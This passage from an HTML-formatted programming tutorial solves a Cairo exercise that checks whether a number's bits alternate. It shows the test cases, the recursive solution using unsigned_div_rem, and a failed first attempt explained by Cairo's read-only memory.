&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;exercises&lt;/span&gt;&lt;span class="py"&gt;.programs.ex7&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt;

&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;external&lt;/span&gt;
&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;test_patternt&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;syscall_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;range_check_ptr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;bitwise_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BitwiseBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;}()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;alloc_locals&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// test nice numbers&lt;/span&gt;
    &lt;span class="c1"&gt;//###############################################################################################&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nice_pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;170&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;nice_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nice_pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;nice_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nice_pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;43690&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;nice_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nice_pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1398101&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;nice_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="c1"&gt;// test not-nice numbers&lt;/span&gt;
    &lt;span class="c1"&gt;//###############################################################################################&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nice_pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;nice_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nice_pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;nice_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nice_pattern&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;43390&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;nice_pattern&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ids&lt;/span&gt;&lt;span class="py"&gt;.nice_pattern&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"has nice pattern"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; 
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="s"&gt;"doesn't have a nice pattern"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Understanding the problem
&lt;/h2&gt;

&lt;p&gt;If the bit pattern is 01010101, it is valid. Looking at the test cases, we can see that 01010 (decimal 10) is valid too. This means that the problem is about alternative bits between 1 and 0.  If the alternative pattern is not broken until the LSB, we return 1, otherwise, return 0. For instance, we will get 1 for 01010 (decimal 10), and 0 for 01011 (decimal 11).&lt;/p&gt;

&lt;p&gt;Since the challenge gives us the test cases, we can get some cues about the arguments from them. There are 4 arguments in the pattern function: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;n: felt&lt;/code&gt; is the decimal number that we want to check its bit pattern. This tells us that we need to convert the decimal number to binary.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;idx: felt&lt;/code&gt; is the index of a bit in the pattern.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;exp: felt&lt;/code&gt; is the value of a bit. We need this because we want to compare adjacent bits to see if the chain is valid.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;broken_chain: felt&lt;/code&gt; The name says it all. It is like a "boolean" variable that determines whether the pattern is broken. &lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Solution
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;check_broken_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;range_check_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;bitwise_ptr&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;BitwiseBuiltin&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;range_check_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;
    &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;true&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;valid_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;valid_chain&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;broken_chain&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;valid_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;broken_chain&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;valid_chain&lt;/span&gt;&lt;span class="p"&gt;,);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unsigned_div_rem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unsigned_div_rem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;_broken_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;check_broken_chain&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_broken_chain&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Explain the solution
&lt;/h2&gt;

&lt;p&gt;The solution can be broken down into 3 simple steps :&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Convert the decimal &lt;code&gt;n&lt;/code&gt; to binary&lt;/li&gt;
&lt;li&gt;Check if the pattern is valid&lt;/li&gt;
&lt;li&gt;Handle edge case and base case&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Convert the decimal n to binary
&lt;/h3&gt;

&lt;p&gt;One way to convert decimal to binary is to use modulo. Cairo does not have a built-in modulo operator, but we can use &lt;a href="https://perama-v.github.io/cairo/cairo-common-library/#unsigned_div_rem"&gt;unsigned_div_rem&lt;/a&gt; from Starkware math library.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;from&lt;/span&gt; &lt;span class="n"&gt;starkware&lt;/span&gt;&lt;span class="py"&gt;.cairo.common.math&lt;/span&gt; &lt;span class="n"&gt;import&lt;/span&gt; &lt;span class="n"&gt;unsigned_div_rem&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unsigned_div_rem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Check if the pattern is valid
&lt;/h3&gt;

&lt;p&gt;Simply put, It comes down to whether the current bit &lt;code&gt;remainder&lt;/code&gt; is different than the previous bit &lt;code&gt;exp&lt;/code&gt;. If they are the same, the pattern is broken. &lt;/p&gt;

&lt;p&gt;When I first tried to handle the _broken_chain value, I did this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;unsigned_div_rem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;tempvar&lt;/span&gt; &lt;span class="n"&gt;_broken_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
   &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;_broken_chain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;pattern&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;quotient&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_idx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_broken_chain&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and got an error&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;An ASSERT_EQ instruction failed: 0 != 1.
        _broken_chain = 1;
        ^***************^
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The reason is that Cairo's memory cell is read-only. Read more about it &lt;a href="https://www.cairo-lang.org/docs/how_cairo_works/cairo_intro.html#memory-model"&gt;here&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;A workaround is to make a standalone function:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="n"&gt;func&lt;/span&gt; &lt;span class="n"&gt;check_broken_chain&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;range_check_ptr&lt;/span&gt;&lt;span class="p"&gt;}(&lt;/span&gt;&lt;span class="n"&gt;remainder&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;felt&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
